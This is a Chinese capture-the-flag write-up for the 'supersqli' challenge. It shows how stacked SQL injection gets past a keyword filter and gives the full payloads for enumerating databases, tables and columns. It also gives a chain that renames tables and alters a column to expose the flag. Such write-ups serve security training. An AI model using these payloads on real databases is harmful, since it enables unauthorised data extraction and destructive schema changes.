攻防世界之Web_supersqli
作者：互联网
题目
本题考查sql注入传送门https://www.cnblogs.com/shacker/p/15917173.html
按照SQL注入一步一步执行
发现有2个列
然后用union select联合查询，然后发现过滤了一些关键字，传送门上篇将的就是毫无防护的白给，这题虽然也用来正则匹配来过滤
但这样只是稍微麻烦一丢丢
发现上面的关键字都被过滤不能使用了，没法进行注入，这个时候尝试一下堆叠注入
现在回到这道题，利用堆叠注入，查询所有数据库：
注入命令：1';show databases# 查询所有数据库
显然，这题选择supersqli爆库
注入命令：1'and 1=2;show tables from supersqli# 爆出所有表
然后，选择1919810931114514表，爆表
注入命令：1'and 1=2;show columns from `1919810931114514`# ps:字符串作为表名需要加反单引号
爆出列名flag
最后一步就是爆数据。
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表，因为查询出的结果是一个数字加一个字符串，words表结构是id和data，传入的inject参数也就是赋值给了id
这道题没有禁用rename和alert，所以我们可以采用修改表结构的方法来得到flag
将words表名改为words1，再将数字名表改为words，这样数字名表就是默认查询的表了，但是它少了一个id列，可以将flag字段改为id，或者添加id字段
注入命令：1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1，1919810931114514表名改为words，将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag
============================================================================================
总结：遇到过滤sql语句的时候，尝试使用堆叠注入，利用漏掉的sql语句配合进行注入攻击。
标签：Web,攻防,查询,flag,supersqli,words,1919810931114514,id,注入 来源： https://www.cnblogs.com/shacker/p/15921335.html